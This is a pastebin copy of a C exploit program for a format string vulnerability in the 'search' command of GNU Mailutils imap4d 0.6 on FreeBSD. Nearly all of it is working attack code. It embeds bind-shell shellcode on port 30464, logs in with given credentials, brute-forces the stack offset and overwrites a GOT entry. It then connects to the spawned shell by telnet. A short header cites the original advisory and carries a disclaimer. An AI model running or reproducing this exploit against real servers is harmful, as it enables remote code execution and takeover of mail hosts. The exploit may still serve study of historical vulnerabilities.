SHOW:
|
|
- or go back to the newest paste.
| 1 | ===================================================================== | |
| 2 | GNU Mailutils imap4d 0.6 (search) Remote Format String Exploit (fbsd) | |
| 3 | ===================================================================== | |
| 4 | ||
| 5 | /* | |
| 6 | * Copyright (c) 2005 Rosiello Security | |
| 7 | * http://www.rosiello.org | |
| 8 | * | |
| 9 | * Permission is granted for the redistribution of this software | |
| 10 | * electronically. It may not be edited in any way without the express | |
| 11 | * written consent of Rosiello Security. | |
| 12 | * | |
| 13 | * Disclaimer: The author published the information under the condition | |
| 14 | * that is not in the intention of the reader to use them in order to bring | |
| 15 | * to himself or others a profit or to bring to others damage. | |
| 16 | * | |
| 17 | * -------------------------------------------------------------------------- | |
| 18 | * | |
| 19 | * GNU Mailutils 0.6 imap4d 'search' Format String Vulnerability | |
| 20 | * iDEFENSE Security Advisory 09.09.05 | |
| 21 | * www.idefense.com/application/poi/display?id=303&type=vulnerabilities | |
| 22 | * | |
| 23 | * The GNU mailutils package is a collection of mail-related | |
| 24 | * utilities, including local and remote mailbox access services. | |
| 25 | * More information is available at the following site: | |
| 26 | * http://www.gnu.org/software/mailutils/mailutils.html | |
| 27 | * | |
| 28 | * This exploit shows the possibility to run arbitrary code | |
| 29 | * on FreeBSD machines. | |
| 30 | * | |
| 31 | * Authors: Johnny Mast and Angelo Rosiello | |
| 32 | * e-mails: [email protected] [email protected] | |
| 33 | */ | |
| 34 | ||
| 35 | #include <netdb.h> | |
| 36 | #include <sys/types.h> | |
| 37 | #include <sys/socket.h> | |
| 38 | #include <netinet/in.h> | |
| 39 | #include <netdb.h> | |
| 40 | #include <sys/types.h> | |
| 41 | #include <sys/socket.h> | |
| 42 | #include <arpa/inet.h> | |
| 43 | ||
| 44 | #include <stdio.h> | |
| 45 | #include <stdlib.h> | |
| 46 | #include <unistd.h> | |
| 47 | #include <stdarg.h> | |
| 48 | ||
| 49 | ||
| 50 | #define ISIP(m) (!((int)inet_addr(m) ==-1)) | |
| 51 | #define clean(x) memset(x, 0 , sizeof x) | |
| 52 | ||
| 53 | char code[] = | |
| 54 | "\x90\x90\x90\x90" | |
| 55 | "\x90\x90\x90\x90" | |
| 56 | "\x90\x90\x90\x90" | |
| 57 | "\x31\xc0" /* xor %eax,%eax */ | |
| 58 | "\x31\xc0" /* xor %eax,%eax */ | |
| 59 | "\x50" /* push %eax */ | |
| 60 | "\x31\xc0" /* xor %eax,%eax */ | |
| 61 | "\x50" /* push %eax */ | |
| 62 | "\xb0\x7e" /* mov $0x7e,%al */ | |
| 63 | "\x50" /* push %eax */ | |
| 64 | "\xcd\x80" /* int $0x80 */ | |
| 65 | "\x31\xc0" /* xor %eax,%eax */ | |
| 66 | ||
| 67 | /* fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) */ | |
| 68 | "\x31\xc0" // xorl %eax,%eax | |
| 69 | "\x31\xdb" // xorl %ebx,%ebx | |
| 70 | "\x31\xc9" // xorl %ecx,%ecx | |
| 71 | "\x31\xd2" // xorl %edx,%edx | |
| 72 | "\xb0\x61" // movb $0x61,%al | |
| 73 | "\x51" // pushl %ecx | |
| 74 | "\xb1\x06" // movb $0x6,%cl | |
| 75 | "\x51" // pushl %ecx | |
| 76 | "\xb1\x01" // movb $0x1,%cl | |
| 77 | "\x51" // pushl %ecx | |
| 78 | "\xb1\x02" // movb $0x2,%cl | |
| 79 | "\x51" // pushl %ecx | |
| 80 | "\x8d\x0c\x24" // leal (%esp),%ecx | |
| 81 | "\x51" // pushl %ecx | |
| 82 | "\xcd\x80" // int $0x80 | |
| 83 | ||
| 84 | /* it binds on port 30464 */ | |
| 85 | /* bind(fd, (struct sockaddr*)&sin, sizeof(sin)) */ | |
| 86 | "\xb1\x02" // movb $0x2,%cl | |
| 87 | "\x31\xc9" // xorl %ecx,%ecx | |
| 88 | "\x51" // pushl %ecx | |
| 89 | "\x51" // pushl %ecx | |
| 90 | "\x51" // pushl %ecx | |
| 91 | ||
| 92 | /* port = 0x77, change if needed */ | |
| 93 | "\x80\xc1\x77" // addb $0x77,%cl | |
| 94 | "\x66\x51" // pushw %cx | |
| 95 | "\xb5\x02" // movb $0x2,%ch | |
| 96 | "\x66\x51" // pushw %cx | |
| 97 | "\x8d\x0c\x24" // leal (%esp),%ecx | |
| 98 | "\xb2\x10" // movb $0x10,%dl | |
| 99 | "\x52" // pushl %edx | |
| 100 | "\x51" // pushl %ecx | |
| 101 | "\x50" // pushl %eax | |
| 102 | "\x8d\x0c\x24" // leal (%esp),%ecx | |
| 103 | "\x51" // pushl %ecx | |
| 104 | "\x89\xc2" // movl %eax,%edx | |
| 105 | "\x31\xc0" // xorl %eax,%eax | |
| 106 | "\xb0\x68" // movb $0x68,%al | |
| 107 | "\xcd\x80" // int $0x80 | |
| 108 | ||
| 109 | /* listen(fd, 1)*/ | |
| 110 | "\xb3\x01" // movb $0x1,%bl | |
| 111 | "\x53" // pushl %ebx | |
| 112 | "\x52" // pushl %edx | |
| 113 | "\x8d\x0c\x24" // leal (%esp),%ecx | |
| 114 | "\x51" // pushl %ecx | |
| 115 | "\x31\xc0" // xorl %eax,%eax | |
| 116 | "\xb0\x6a" // movb $0x6a,%al | |
| 117 | "\xcd\x80" // int $0x80 | |
| 118 | ||
| 119 | /* cli = accept(fd, 0,0) */ | |
| 120 | "\x31\xc0" // xorl %eax,%eax | |
| 121 | "\x50" // pushl %eax | |
| 122 | "\x50" // pushl %eax | |
| 123 | "\x52" // pushl %edx | |
| 124 | "\x8d\x0c\x24" // leal (%esp),%ecx | |
| 125 | "\x51" // pushl %ecx | |
| 126 | "\x31\xc9" // xorl %ecx,%ecx | |
| 127 | "\xb0\x1e" // movb $0x1e,%al | |
| 128 | "\xcd\x80" // int $0x80 | |
| 129 | ||
| 130 | /* dup2(cli,0) */ | |
| 131 | "\x89\xc3" // movl %eax,%ebx | |
| 132 | "\x53" // pushl %ebx | |
| 133 | "\x51" // pushl %ecx | |
| 134 | "\x31\xc0" // xorl %eax,%eax | |
| 135 | "\xb0\x5a" // movb $0x5a,%al | |
| 136 | "\xcd\x80" // int $0x80 | |
| 137 | ||
| 138 | /* dup2(cli, 1) */ | |
| 139 | "\x41" // inc %ecx | |
| 140 | "\x53" // pushl %ebx | |
| 141 | "\x51" // pushl %ecx | |
| 142 | "\x31\xc0" // xorl %eax,%eax | |
| 143 | "\xb0\x5a" // movb $0x5a,%al | |
| 144 | "\xcd\x80" // int $0x80 | |
| 145 | ||
| 146 | /* dup2(cli, 2) */ | |
| 147 | "\x41" // inc %ecx | |
| 148 | "\x53" // pushl %ebx | |
| 149 | "\x51" // pushl %ecx | |
| 150 | "\x31\xc0" // xorl %eax,%eax | |
| 151 | "\xb0\x5a" // movb $0x5a,%al | |
| 152 | "\xcd\x80" // int $0x80 | |
| 153 | ||
| 154 | /* execve("//bin/sh", ["//bin/sh", NULL], NULL) */
| |
| 155 | "\x31\xdb" // xorl %ebx,%ebx | |
| 156 | "\x53" // pushl %ebx | |
| 157 | "\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e | |
| 158 | "\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f | |
| 159 | "\x89\xe3" // movl %esp,%ebx | |
| 160 | "\x31\xc0" // xorl %eax,%eax | |
| 161 | "\x50" // pushl %eax | |
| 162 | "\x54" // pushl %esp | |
| 163 | "\x53" // pushl %ebx | |
| 164 | "\x50" // pushl %eax | |
| 165 | "\xb0\x3b" // mov $0x3b,%al | |
| 166 | "\xcd\x80" // int $0x80 | |
| 167 | ||
| 168 | /* exit(..) */ | |
| 169 | "\x31\xc0" // xorl %eax,%eax | |
| 170 | "\xb0\x01" // mobv $0x1,%al | |
| 171 | "\xcd\x80"; // int $0x80 | |
| 172 | ||
| 173 | ||
| 174 | ||
| 175 | void usage( int argc, char **argv ) | |
| 176 | {
| |
| 177 | ||
| 178 | fprintf(stdout, "%s usage:\n\n", argv[0]); | |
| 179 | fprintf(stdout, "\t-h host\n"); | |
| 180 | fprintf(stdout, "\t-p port\n"); | |
| 181 | fprintf(stdout, "\t-l login\n"); | |
| 182 | fprintf(stdout, "\t-a password\n\n"); | |
| 183 | ||
| 184 | return; | |
| 185 | } | |
| 186 | ||
| 187 | ||
| 188 | void send_message( int fd, char *msg, ... ) | |
| 189 | {
| |
| 190 | char string[2000]; | |
| 191 | int len; | |
| 192 | size_t size; | |
| 193 | ||
| 194 | va_list args; | |
| 195 | ||
| 196 | ||
| 197 | clean(string); | |
| 198 | ||
| 199 | ||
| 200 | va_start(args, msg); | |
| 201 | len = vsnprintf(string, sizeof(string)-1, msg,args); | |
| 202 | len = (len >=0) ? len : 0; | |
| 203 | ||
| 204 | /* Terminating the string */ | |
| 205 | string[len]='\0'; | |
| 206 | ||
| 207 | write(fd, string, len); | |
| 208 | ||
| 209 | return; | |
| 210 | } | |
| 211 | ||
| 212 | ||
| 213 | ||
| 214 | ||
| 215 | ||
| 216 | char *buildstring( long r_addr, long target, int offset, int sock ) | |
| 217 | {
| |
| 218 | unsigned char string[512], a[4]; | |
| 219 | int len; | |
| 220 | int high, low, arw; | |
| 221 | ||
| 222 | ||
| 223 | ||
| 224 | high = ( target & 0xffff0000 ) >> 16; | |
| 225 | low = ( target & 0x0000ffff ); | |
| 226 | ||
| 227 | clean(a); | |
| 228 | a[0] = (r_addr >> 24) & 0xff; | |
| 229 | a[1] = (r_addr >> 16) & 0xff; | |
| 230 | a[2] = (r_addr >> 8) & 0xff; | |
| 231 | a[3] = (r_addr) & 0xff; | |
| 232 | a[4] = '\0'; | |
| 233 | ||
| 234 | clean(string); | |
| 235 | len = sprintf(string, "3 search topic .%c%c%c%c%%.%dx%%%d$hn\n", | |
| 236 | (int)a[3]+2,a[2],a[1],a[0], | |
| 237 | high -(0x24+13), /* Number of bytes for the first write */ | |
| 238 | offset /* The Offset to addr */ | |
| 239 | ); | |
| 240 | ||
| 241 | len = (len >=0) ? len : 0; | |
| 242 | string[len] = '\0'; | |
| 243 | write(sock, string, len); | |
| 244 | ||
| 245 | read(sock, string, sizeof(string)); | |
| 246 | ||
| 247 | ||
| 248 | clean(string); | |
| 249 | len = sprintf(string, "3 search topic .%c%c%c%c%%.%dx%%%d$hn%s\n", | |
| 250 | (int) a[3], (int)a[2], (int)a[1],(int)a[0], | |
| 251 | low - (0x24 +13), | |
| 252 | offset, /* The offset to addr +2 */ | |
| 253 | code | |
| 254 | ); | |
| 255 | ||
| 256 | len = (len >=0) ? len : 0; | |
| 257 | string[len] = '\0'; | |
| 258 | write(sock, string, len); | |
| 259 | ||
| 260 | ||
| 261 | return (char *)strdup(string); | |
| 262 | } | |
| 263 | ||
| 264 | ||
| 265 | void get_addr_as_char( u_int addr, char *buf ) | |
| 266 | {
| |
| 267 | *(u_int*)buf = addr; | |
| 268 | if (!buf[0]) buf[0]++; | |
| 269 | if (!buf[1]) buf[1]++; | |
| 270 | if (!buf[2]) buf[2]++; | |
| 271 | if (!buf[3]) buf[3]++; | |
| 272 | } | |
| 273 | ||
| 274 | static int got_entry = 0x08057a0c+4; | |
| 275 | ||
| 276 | ||
| 277 | int comun( char *host, struct sockaddr_in sin4 ) | |
| 278 | {
| |
| 279 | char *a[4] = { "/usr/bin/telnet", host , "30464", NULL };
| |
| 280 | execve(a[0],a, NULL); | |
| 281 | return 0; | |
| 282 | } | |
| 283 | ||
| 284 | void welcome( ) | |
| 285 | {
| |
| 286 | fprintf( stdout, "\nCopyright (c) 2005 Rosiello Security\n" ); | |
| 287 | fprintf( stdout, "http://www.rosiello.org\n" ); | |
| 288 | fprintf( stdout, "imap4d Format String Exploiter for FreeBSD\n\n" ); | |
| 289 | } | |
| 290 | ||
| 291 | int main( int argc, char **argv ) | |
| 292 | {
| |
| 293 | struct hostent *hp; | |
| 294 | struct sockaddr_in sin4; | |
| 295 | char shellbuf[1030]; | |
| 296 | char *host, buffer[512], *ptr, *p, *USER, *PASS; | |
| 297 | int ch, port = 0, sock, offset = 1; | |
| 298 | int login = 0, i, calc = 0; | |
| 299 | int ret = 0, len = 0, b; | |
| 300 | int have_shell_loc = 0; | |
| 301 | unsigned int shell_addr = (u_int)0x0806c000; | |
| 302 | ||
| 303 | welcome( ); | |
| 304 | ||
| 305 | if ( argc < 9 ) | |
| 306 | {
| |
| 307 | usage(argc, argv); | |
| 308 | exit(EXIT_SUCCESS); | |
| 309 | } | |
| 310 | ||
| 311 | if (!(host = malloc (128))) | |
| 312 | {
| |
| 313 | fprintf(stderr, "exp.c:115 Could not allocate memory\n"); | |
| 314 | exit(EXIT_FAILURE); | |
| 315 | } | |
| 316 | ||
| 317 | ||
| 318 | while((ch = getopt(argc, argv, "h:p:l:a:")) != EOF) | |
| 319 | {
| |
| 320 | switch(ch) | |
| 321 | {
| |
| 322 | case 'h': | |
| 323 | host = (char *)strdup(optarg); | |
| 324 | break; | |
| 325 | ||
| 326 | case 'V': | |
| 327 | break; | |
| 328 | ||
| 329 | case 'p': | |
| 330 | port = atoi (optarg); | |
| 331 | break; | |
| 332 | ||
| 333 | case 'l': | |
| 334 | USER = (char *)optarg; | |
| 335 | break; | |
| 336 | ||
| 337 | case 'a': | |
| 338 | PASS = (char *)optarg; | |
| 339 | break; | |
| 340 | ||
| 341 | default: | |
| 342 | usage(argc, argv); | |
| 343 | break; | |
| 344 | } | |
| 345 | } | |
| 346 | ||
| 347 | ||
| 348 | ||
| 349 | if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) | |
| 350 | {
| |
| 351 | fprintf(stderr, "exp.c:139 Error creating an new socket"); | |
| 352 | exit(EXIT_FAILURE); | |
| 353 | } | |
| 354 | ||
| 355 | host = (host) ? host : "localhost"; | |
| 356 | port = (port) ? port : 143; | |
| 357 | ||
| 358 | if (!(ISIP(host))) | |
| 359 | {
| |
| 360 | if (!(hp = gethostbyname(host))) | |
| 361 | {
| |
| 362 | fprintf(stderr, "exp.c:152 Could not resolve ip address\n"); | |
| 363 | exit(EXIT_FAILURE); | |
| 364 | } | |
| 365 | ||
| 366 | memcpy(&sin4.sin_addr,hp->h_addr,hp->h_length); | |
| 367 | host = (char *)strdup(inet_ntoa(sin4.sin_addr)); | |
| 368 | } else | |
| 369 | sin4.sin_addr.s_addr = inet_addr(host); | |
| 370 | ||
| 371 | ||
| 372 | ||
| 373 | ||
| 374 | sin4.sin_family = AF_INET; | |
| 375 | sin4.sin_port = (unsigned short)htons( port ); | |
| 376 | ||
| 377 | fprintf(stdout, "[+] Connecting to %s:%d\n", host,port); | |
| 378 | ||
| 379 | if ((connect(sock, (struct sockaddr *)&sin4,sizeof(struct sockaddr))) < 0) | |
| 380 | {
| |
| 381 | fprintf(stderr, "[*] exp.c:178 Connection failed\n"); | |
| 382 | exit(EXIT_FAILURE); | |
| 383 | } | |
| 384 | ||
| 385 | ||
| 386 | fprintf(stdout, "[+] Connected .. \n"); | |
| 387 | fprintf(stdout, "[+] Sending login ... \n"); | |
| 388 | ||
| 389 | send_message(sock, "1 LOGIN %s %s\r\n", USER, PASS); | |
| 390 | fprintf(stdout, "[+] Done ... \n"); | |
| 391 | ||
| 392 | while ((read(sock, buffer, 512)) > 0) | |
| 393 | {
| |
| 394 | if ( login == 0 && ret == 0) | |
| 395 | switch (buffer[0]) | |
| 396 | {
| |
| 397 | ||
| 398 | case '1': | |
| 399 | fprintf(stdout, "[+] Selecting inbox ..\n"); | |
| 400 | send_message(sock, "2 Select inbox\n"); | |
| 401 | fprintf(stdout, "[+] Selecting Done .. Starting brute sequence\n"); | |
| 402 | send_message(sock, "3 search topic .AAAABBBB%%%d$x\n",offset); | |
| 403 | login = 1; | |
| 404 | break; | |
| 405 | } | |
| 406 | ||
| 407 | ||
| 408 | if ((ptr=strstr(buffer, "(near")) && login == 1) | |
| 409 | {
| |
| 410 | ptr +=15; | |
| 411 | if ((strncmp(ptr, "41414141",8))!=0) | |
| 412 | {
| |
| 413 | offset ++; | |
| 414 | send_message(sock, "3 search topic .AAAABBBB%%%d$x\n",offset); | |
| 415 | } | |
| 416 | else | |
| 417 | {
| |
| 418 | fprintf(stdout, "[+] Found offset %d\n", offset); | |
| 419 | fprintf(stdout, "[+] Finding buffer on the stack\n"); | |
| 420 | ret = 1; | |
| 421 | login = 0; | |
| 422 | clean(buffer); | |
| 423 | } | |
| 424 | } | |
| 425 | ||
| 426 | if ( ret == 1 ) | |
| 427 | {
| |
| 428 | ||
| 429 | if ((ptr=strstr(buffer, "(near"))) | |
| 430 | {
| |
| 431 | ptr +=6+4 +1; /* +4 for the addr string*/ | |
| 432 | /* +1 for the junk char */ | |
| 433 | calc = strlen(buffer) - strlen(ptr); | |
| 434 | calc -=6+4+1; | |
| 435 | ||
| 436 | for (i = 0; i < strlen(buffer); i++) | |
| 437 | {
| |
| 438 | if ( (strncmp(ptr, code, strlen(code)))==0 && have_shell_loc !=1) | |
| 439 | {
| |
| 440 | shell_addr += i -4; | |
| 441 | have_shell_loc = 1; | |
| 442 | sleep(2); | |
| 443 | buildstring(got_entry, shell_addr+=3, offset, sock); | |
| 444 | fprintf(stdout,"[+] Decoy found at %p\n", shell_addr); | |
| 445 | close(sock); | |
| 446 | fprintf(stdout, "[+] Trying to contact the bind shell ..\n"); | |
| 447 | if((comun(host, sin4)) < 0) | |
| 448 | fprintf(stderr, "[-] Exploit failed\n"); | |
| 449 | } | |
| 450 | else | |
| 451 | ++ptr; | |
| 452 | } | |
| 453 | } | |
| 454 | if( shell_addr > 0xc0000000) | |
| 455 | break; | |
| 456 | shell_addr++; | |
| 457 | ptr = ((char *)&shell_addr); | |
| 458 | ptr[4] = 0; | |
| 459 | if ( strchr(ptr, 0xa) || strchr(ptr, 0xd) || ptr[0]==0x00) | |
| 460 | {
| |
| 461 | shell_addr ++; | |
| 462 | ptr = ((char *)&shell_addr); | |
| 463 | ptr[4] = 0; | |
| 464 | } | |
| 465 | while (strlen(ptr) !=4) | |
| 466 | {
| |
| 467 | shell_addr++; | |
| 468 | ptr = ((char *)&shell_addr); | |
| 469 | ptr[4] = 0; | |
| 470 | } | |
| 471 | if (have_shell_loc != 1) | |
| 472 | {
| |
| 473 | send_message(sock, "3 search topic .%s....%%%d$s%sCCCC\n",ptr,offset,code); | |
| 474 | } | |
| 475 | } | |
| 476 | clean(buffer); | |
| 477 | } | |
| 478 | ||
| 479 | fprintf(stderr, "[+] Closing connection\n"); | |
| 480 | close(sock); | |
| 481 | free(host); | |
| 482 | ||
| 483 | fprintf(stderr, "[-] Exploit failed %p\n", shell_addr); | |
| 484 | return 0; | |
| 485 | } | |
| 486 | ||
| 487 | ||
| 488 | # 6946D00F31938B89 1337day.com [2014-09-08] F4045BD3BFDF4B4C # |